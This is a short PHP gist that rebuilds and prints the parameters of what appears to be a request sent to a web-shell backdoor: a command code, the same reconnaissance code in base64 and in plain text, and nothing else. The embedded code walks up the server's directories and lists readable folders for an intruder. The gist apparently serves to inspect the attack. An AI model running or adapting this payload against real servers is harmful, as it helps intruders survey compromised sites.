Skip to content

Instantly share code, notes, and snippets.

@gothick
Created March 7, 2015 10:14
Show Gist options
  • Save gothick/7a9414a94be213a88f6b to your computer and use it in GitHub Desktop.
Save gothick/7a9414a94be213a88f6b to your computer and use it in GitHub Desktop.
<?php
$a = 'RC';
$p2 = 'ZWNobyAibWFya2VyOjUwZWFhMDgxZGI4OWQzOTJhN2U4NmUyMGEwNmRhYWY1XG4iOyAKJGRlcHRoID0gJzInOwoKJGRlcHRoID0gJGRlcHRoKzI7CgokYmFzZV9kaXIgPSBkaXJuYW1lKF9fRklMRV9fKTsKZm9yICgkaSA9IDA7ICRpIDwgJGRlcHRoOyAkaSsrKSB7CiAgICAkZCA9IGRpcm5hbWUoJGJhc2VfZGlyKTsKICAgICR0bXAgPSBnbG9iKCRkIC4gIi8qIiwgR0xPQl9PTkxZRElSKTsKICAgIGlmKGNvdW50KCR0bXApPjApCiAgICAgICAgJGJhc2VfZGlyID0gJGQ7CiAgICBlbHNlIHsKICAgICAgICBlY2hvKCJjYW50IHJlYWQ6ICIuJGQuIlxuIik7CiAgICB9Cn0KCgokZm9sZGVycyA9IGdldF9saXN0aW5nKCRiYXNlX2Rpcik7CgokcmVzdWx0ID0gYXJyYXkoKTsKZm9yZWFjaCgkZm9sZGVycyBhcyAkZikgewogICAgJGZpbGVzID0gZ2xvYigkZiAuICIqIik7CiAgICBpZihjb3VudCgkZmlsZXMpPDEpIHsKICAgICAgICBlY2hvKCIkZiBub3QgcmVhZGFibGVcbiIpOwogICAgICAgIGNvbnRpbnVlOwogICAgfQogICAgJHJlc3VsdFtdID0gc3RyX3JlcGxhY2UoJGJhc2VfZGlyLCAiIiwgJGYpOwp9CmVjaG8gImZvbGRlcnNfc3RhcnQ6Ii5zZXJpYWxpemUoJHJlc3VsdCkuIjpmb2xkZXJzX2VuZCI7Ci8vcHJpbnRfcigkcmVzdWx0KTsKCgoKCmZ1bmN0aW9uIGdldF9saXN0aW5nKCRkaXIsICRzdGVwID0gMCkgewogICAgaWYgKGVtcHR5KCRzdGVwc19saW1pdCkpCiAgICAgICAgJHN0ZXBzX2xpbWl0ID0gMjsKICAgIGlmICgkc3RlcCA9PSAwKSB7CiAgICAgICAgZWNobyAiRk9MREVSUyBTQ0FOIFNURVBTIExJTUlUOiAiIC4gJHN0ZXBzX2xpbWl0IC4gIlxuIjsKICAgIH0KCiAgICBpZiAoJHN0ZXAgPj0gJHN0ZXBzX2xpbWl0KSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgICRyZXN1bHRzID0gYXJyYXkoKTsKICAgICRsaXN0aW5nID0gZ2xvYigkZGlyIC4gIioiKTsKCiAgICBpZiAoIWVtcHR5KCRsaXN0aW5nKSBBTkQgY291bnQoJGxpc3RpbmcpID4gMCkKICAgICAgICBmb3JlYWNoICgkbGlzdGluZyBhcyAkdikgewogICAgICAgICAgICBpZiAoaXNfZGlyKCR2KSkgewogICAgICAgICAgICAgICAgJHRtcCA9IGdldF9saXN0aW5nKCR2IC4gIi8iLCAkc3RlcCArIDEpOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkdG1wKSBhbmQgY291bnQoJHRtcCkgPiAwKQogICAgICAgICAgICAgICAgICAgICRyZXN1bHRzID0gYXJyYXlfbWVyZ2UoJHJlc3VsdHMsICR0bXApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgY29udGludWU7CgogICAgICAgICAgICBpZiAoaXNfZGlyKCR2KSkKICAgICAgICAgICAgICAgICR2ID0gJHYgLiAiLyI7CiAgICAgICAgICAgICRyZXN1bHRzW10gPSAkdjsKICAgICAgICB9CiAgICByZXR1cm4gJHJlc3VsdHM7Cn0';
$p1 = <<<'EOT'
echo "marker:50eaa081db89d392a7e86e20a06daaf5\n";
$depth = '2';
$depth = $depth+2;
$base_dir = dirname(__FILE__);
for ($i = 0; $i < $depth; $i++) {
$d = dirname($base_dir);
$tmp = glob($d . "/*", GLOB_ONLYDIR);
if(count($tmp)>0)
$base_dir = $d;
else {
echo("cant read: ".$d."\n");
}
}
$folders = get_listing($base_dir);
$result = array();
foreach($folders as $f) {
$files = glob($f . "*");
if(count($files)<1) {
echo("$f not readable\n");
continue;
}
$result[] = str_replace($base_dir, "", $f);
}
echo "folders_start:".serialize($result).":folders_end";
//print_r($result);
EOT;
$post = array('a' => $a, 'p2' => $p2, 'p1' => $p1);
print_r($post);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment